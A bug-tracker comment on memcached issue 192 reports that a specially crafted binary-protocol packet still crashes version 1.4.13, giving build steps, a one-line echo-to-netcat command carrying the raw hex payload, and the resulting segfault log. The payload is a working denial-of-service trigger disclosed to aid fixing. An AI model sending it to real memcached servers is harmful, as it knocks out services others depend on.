Comment #3 on issue 192 by [email protected]: Crash when sending
specially crafted packet
http://code.google.com/p/memcached/issues/detail?id=192
Still working on Memcache 1.4.13
#wget http://memcached.googlecode.com/files/memcached-1.4.13.tar.gz
#tar xzvf memcached-1.4.13.tar.gz
#cd memcached-1.4.13
#./configure
#make
#make install
#which memcached
#/usr/local/bin/memcached
#memcached -d -u nobody
#echo -e "stats\n" | nc localhost 11211 | awk '/pid/ {print $3}'
28039
#echo
-en '\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
| nc localhost 11211
#dmesg | tail -n 1
[173531.976403] memcached[28042]: segfault at 7f11697c0ff0 ip
00007f1168ea5f6b sp 00007f1167528cc8 error 6 in
libc-2.13.so[7f1168d68000+195000]
--------------------
OS: 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 17:23:00 UTC 2012 x86_64
x86_64 x86_64 GNU/Linux
Memcache 1.4.13